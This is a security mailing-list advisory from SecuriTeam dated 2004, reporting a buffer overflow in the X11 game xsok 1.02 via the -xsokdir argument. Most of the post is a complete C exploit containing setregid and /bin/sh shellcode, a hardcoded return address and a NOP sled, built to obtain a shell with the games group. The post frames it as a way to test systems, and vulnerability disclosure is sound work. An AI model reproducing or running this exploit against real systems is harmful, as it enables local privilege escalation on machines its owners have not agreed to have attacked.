[EXPL] xsok Buffer Overflow (-xsokdir)

From: SecuriTeam (support_at_securiteam.com)
Date: 01/04/04

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      xsok Buffer Overflow (-xsokdir)
    ------------------------------------------------------------------------

    SUMMARY

    Steve Kemp discovered a problem in xsok, a single player strategy game for
    X11, related to the Sokoban game, which leads a user to execute arbitrary
    commands under the GID of games. The following exploit code can be used to
    test your system for the mentioned vulnerability.

    DETAILS

    /* 0x333xsok (2) => xsok 1.02 local game exploit
     *
     * Happy new year ! (2 :)
     * coded by c0wboy
     *
     * (c) 0x333 Outsiders Security Labs / www.0x333.org
     *
     */

    #include <stdio.h>
    #include <unistd.h>

    #define BIN "/usr/games/xsok"
    #define RETADD 0xbffffa3c
    #define SIZE 200

    unsigned char shellcode[] =

      /* setregid (20,20) shellcode */
      "\x31\xc0\x31\xdb\x31\xc9\xb3\x14\xb1\x14\xb0\x47"
      "\xcd\x80"

      /* exec /bin/sh shellcode */
      "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
      "\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";

      
    int main (int argc, char ** argv)
    {
      int i, ret = RETADD;
      char out[SIZE];

      fprintf(stdout, "\n --- 0x333xsok => xsok 1.02 local games exploit
    ---\n");
      fprintf(stdout, " --- Outsiders Se(c)urity Labs 2003 ---\n\n");

      int *xsok = (int *)(out);

      for (i=0; i<SIZE-1 ; i+=4, *xsok++ = ret);

      memset((char *)out, 0x90, 63);
      memcpy((char *)out+63, shellcode, strlen(shellcode));

      execl (BIN, BIN, "-xsokdir", out, 0x0);
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:c0wboy@tiscali.it>
    c0wboy@0x333.

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